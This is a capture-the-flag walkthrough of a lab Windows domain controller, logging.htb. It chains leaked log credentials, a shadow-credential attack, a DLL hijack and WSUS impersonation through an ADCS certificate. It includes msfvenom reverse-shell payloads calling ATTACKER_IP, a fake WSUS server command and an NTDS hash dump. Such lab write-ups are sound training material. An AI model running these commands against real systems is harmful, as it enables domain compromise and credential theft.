Nmap reveals a Windows Domain Controller with an unusual pair of ports — 8530 (HTTP) and 8531 (HTTPS) — alongside the standard AD service stack.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
389/tcp open ldap syn-ack ttl 127 Microsoft Windows AD LDAP
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open
Host: DC01; Domain: logging.htb
Ports 8530/8531 are the default ports for Windows Server Update Services (WSUS) — Microsoft's patch management solution. The SSL certificate on 8531 reveals a CA named logging-DC01-CA, confirming an internal ADCS environment as well.
echo "TARGET_IP dc01.logging.htb logging.htb dc01" | sudo tee -a /etc/hostsThe box ships with default credentials: wallace.everette:Welcome2026@.
SMB enumeration reveals a non-standard share called Logs:
nxc smb dc01 -u wallace.everette -p 'Welcome2026@' --sharesShare Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
Logs READ
NETLOGON READ Logon server share
SYSVOL READ Logon server share
Spidering the Logs share reveals several files. One in particular contains a credential:
grep -i pass IdentitySync_Trace_20260219.log[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump:
{ Domain: "logging.htb", Server: "DC01", SSL: "False",
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
The password contains 2025, but the log is from February 2026 — suggesting the password is rotated annually. Trying the current year works:
nxc smb logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -kSMB logging.htb 445 DC01 [+] logging.htb\svc_recovery:Em3rg3ncyPa$$2026
TipWhen you find a dated password in logs, always try incrementing the year. Password rotation policies often only change the year component, making them trivially predictable.
msa_health$BloodHound reveals that svc_recovery has GenericWrite on msa_health$ — a managed service account. GenericWrite on an account means we can modify its msDS-KeyCredentialLink attribute, enabling a Shadow Credential attack.
sequenceDiagram
participant A as Attacker (svc_recovery)
participant D as DC01
participant M as msa_health$
A->>D: certipy shadow auto<br/>Add key credential to msa_health$
D->>D: Store certificate public key<br/>in msDS-KeyCredentialLink
A->>D: Authenticate with<br/>certificate via PKINIT
D-->>A: TGT for msa_health$
Note over A: NTLM hash retrievedUsing certipy to execute the Shadow Credential attack:
certipy shadow auto -k -no-pass -dc-ip 10.129.209.137 \
-dc-host dc01 -target dc01.logging.htb \
-account msa_health$This automates adding a key credential to msa_health$'s msDS-KeyCredentialLink, then using it for PKINIT Kerberos authentication to retrieve the account's NTLM hash.
msa_health$ — DLL Hijackingnxc winrm dc01 -u 'msa_health$' -H <NTLM_HASH>
evil-winrm -i dc01 -u 'msa_health$' -H <NTLM_HASH>Running WinPEAS reveals two critical findings:
https://wsus.logging.htb:8531C:\Program Files\UpdateMonitor\The certificate authority name is confirmed as logging-DC01-CA — matching what was seen in the nmap SSL output.
strings -e l UpdateMonitor.exeC:\ProgramData\UpdateMonitor\Logs\monitor.log
C:\ProgramData\UpdateMonitor\Settings_Update.zip
C:\Program Files\UpdateMonitor\bin\settings_update.dll
Checking for update on core server...
Info: Core did not find file Settings_Update.zip
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
The application logic:
C:\ProgramData\UpdateMonitor\Settings_Update.zip every 3 minutessettings_update.dll from the extracted contentsCheck permissions on the target directory:
PS C:\ProgramData> icacls UpdateMonitorUpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA) ← We can write!
BUILTIN\Users has WD (Write Data) and AD (Append Data) — we can create files in this directory.
Craft a malicious DLL and package it:
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP \
LPORT=6001 -f dll -o settings_update.dll
7z a Settings_Update.zip settings_update.dllUpload the zip to C:\ProgramData\UpdateMonitor\:
# Upload via WinRM
upload Settings_Update.zip
Move-Item Settings_Update.zip C:\ProgramData\UpdateMonitor\Within 3 minutes, the scheduled task picks up the zip, extracts it, and loads our DLL.
jaylee.cliftonThe reverse shell callback arrives as jaylee.clifton. We don't know this user's password, but we can extract a TGT from the current Windows logon session using Rubeus:
.\Rubeus.exe tgtdeleg /nowrap# On attacker: convert the base64 blob
cat jaylee.b64 | base64 -d > jaylee.kirbi
ticketConverter.py jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccacheBloodHound shows that jaylee.clifton is a member of the IT group, which has enrollment rights on a certificate template called UpdateSrv.
certipy req -u jaylee.clifton -k -no-pass \
-ca logging-DC01-CA -template UpdateSrv \
-upn 'wsus.logging.htb' -dns wsus.logging.htb \
-target dc01.logging.htbThe UpdateSrv template allows specifying both the UPN and DNS subject alternative names. By requesting a certificate for wsus.logging.htb, we obtain a certificate that the WSUS server will trust for TLS authentication.
WSUS (Windows Server Update Services) allows domain-joined machines to retrieve updates from an internal server instead of Microsoft's servers. By default, WSUS clients trust the WSUS server without validating its identity beyond TLS. If we can:
wsus.logging.htb (via ADCS — done above)wsus.logging.htb to our IP (via DNS)…we can achieve code execution as SYSTEM on any WSUS client that checks in — including the Domain Controller.
# Convert the PFX certificate to PEM for wsuks
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out cert.pem -nodes
# Register a DNS record pointing wsus.logging.htb to our attacker IP
bloodyAD --host DC01 -d logging.htb -u jaylee.clifton -k \
add dnsRecord wsus.logging.htb ATTACKER_IP
# Create the payload executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP \
LPORT=9001 -f exe -o rev.exe
# Upload the payload to the DC
# (via WinRM as msa_health$ or any account with write access)
upload rev.exe C:\ProgramData\rev.exe# Add wsus.logging.htb to our local hosts file
echo "ATTACKER_IP wsus.logging.htb" | sudo tee -a /etc/hosts
# Start the malicious WSUS server
wsuks --serve-only --tls-cert cert.pem \
-t 10.129.209.137 \
--WSUS-Server wsus.logging.htb \
-I tun0 \
--executable PsExec64.exe \
--command "-accepteula -s C:\ProgramData\rev.exe"sequenceDiagram
participant A as Attacker (wsuks)
participant D as DC01 (WSUS Client)
participant DNS as DC01 DNS
A->>DNS: Register DNS record<br/>wsus.logging.htb → ATTACKER_IP
D->>D: Scheduled WSUS sync<br/>resolves wsus.logging.htb
D->>A: Connects to malicious WSUS
A->>D: TLS handshake (our ADCS cert)
A->>D: Provides "update" →<br/>PsExec64.exe + rev.exe
Note over D: rev.exe runs as SYSTEM
D-->>A: Reverse shell callbackThe DC checks in with WSUS, connects to our malicious server (validated by the ADCS certificate), receives the "update" payload, and executes rev.exe — which calls back as SYSTEM.
With a SYSTEM shell on the Domain Controller, we can extract the machine account's Kerberos ticket and use it to dump NTDS:
# From SYSTEM shell
.\Rubeus.exe triage
.\Rubeus.exe tgtdeleg /target:"cifs/DC01" /nowrapConvert the ticket and dump the NTDS database:
cat dc01.b64 | base64 -d > dc01.kirbi
ticketConverter.py dc01.kirbi dc01.ccache
export KRB5CCNAME=dc01.ccache
nxc smb logging.htb -k --use-kcache --ntdsSMB logging.htb 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0c1d1bed9126632f5f1f2b3f790bdb5:::
SMB logging.htb 445 DC01 toby.brynleigh:2112:aad3b435b51404eeaad3b435b51404ee:ac384497550a56937cd6edd784fb221c:::
Unlike most boxes where Administrator is the target, here the Administrator account is disabled or restricted. toby.brynleigh (RID 2112) is the true domain administrator.
Domain compromised.
flowchart TD
subgraph Phase1["Initial Access"]
A[Default Credentials<br/>wallace.everette] --> B[SMB Logs Share<br/>IdentitySync log file]
B --> C[Password rotation guess<br/>2025→2026 → svc_recovery]
end
subgraph Phase2["Shadow Credential"]
D[BloodHound → GenericWrite<br/>on msa_health$] --> E[certipy shadow auto<br/>PKINIT → NTLM hash]
E --> F[WinRM as msa_health$]
end
subgraph Phase3["DLL Hijack"]
G[WinPEAS → UpdateMonitor.exe<br/>Scheduled Task every 3m] --> H[Reverse Engineer → loads<br/>settings_update.dll from zip]
H --> I[icacls → Users can write<br/>→ Drop malicious DLL]
I --> J[Shell as jaylee.clifton]
end
subgraph Phase4["ADCS + WSUS"]
K[Rubeus tgtdeleg → TGT] --> L[IT Group → UpdateSrv<br/>Certificate Template]
L --> M[Request cert for<br/>wsus.logging.htb]
M --> N[bloodyAD → DNS Record<br/>wsus.logging.htb → Our IP]
end
subgraph Phase5["WSUS Exploitation"]
O[wsuks --serve-only<br/>Malicious WSUS Server] --> P[DC checks for updates<br/>→ Receives fake update]
P --> Q["💀 SYSTEM Shell<br/>on DC01"]
end
subgraph Phase6["Domain Compromise"]
R[Rubeus → DC01$ TGT] --> S[--ntds dump<br/>→ toby.brynleigh hash]
end
Phase1 --> Phase2
Phase2 --> Phase3
Phase3 --> Phase4
Phase4 --> Phase5
Phase5 --> Phase6
Phase6 --> T["👑 Domain Admin<br/>toby.brynleigh"]Dated passwords in log files are treasure maps. A log revealed Em3rg3ncyPa$$2025 — rotating just the year to 2026 worked. Password rotation policies that only change a single token are a systemic weakness.
Shadow Credentials (certipy shadow auto) convert GenericWrite into a full account takeover. Adding a key credential to msDS-KeyCredentialLink enables PKINIT authentication, recovering the NTLM hash without ever resetting the password or touching the account's regular authentication flow.
DLL hijacking via scheduled tasks is a reliable lateral movement technique. UpdateMonitor.exe loaded an unsigned DLL from a user-writable path. The 3-minute polling interval made exploitation predictable and repeatable.
ADCS template misconfigurations enable WSUS TLS impersonation. The UpdateSrv template allowed specifying arbitrary SANs via -dns and -upn, enabling us to request a certificate bound to wsus.logging.htb — a server we don't control.
WSUS attacks (wsuks) bridge the gap from code execution to SYSTEM on the Domain Controller. WSUS trusts are implicit: any host with a valid TLS certificate for the WSUS server name can serve "updates" to WSUS clients. Combined with DNS registration via bloodyAD, this is a powerful domain-wide privilege escalation vector.
Rubeus tgtdeleg with a specific /target SPN extracts service tickets from SYSTEM context. Unlike the default tgtdeleg (which requests a CIFS ticket for the current host), specifying /target:"cifs/DC01" from a SYSTEM shell on the DC retrieves the DC's own machine account ticket — which has full access to NTDS.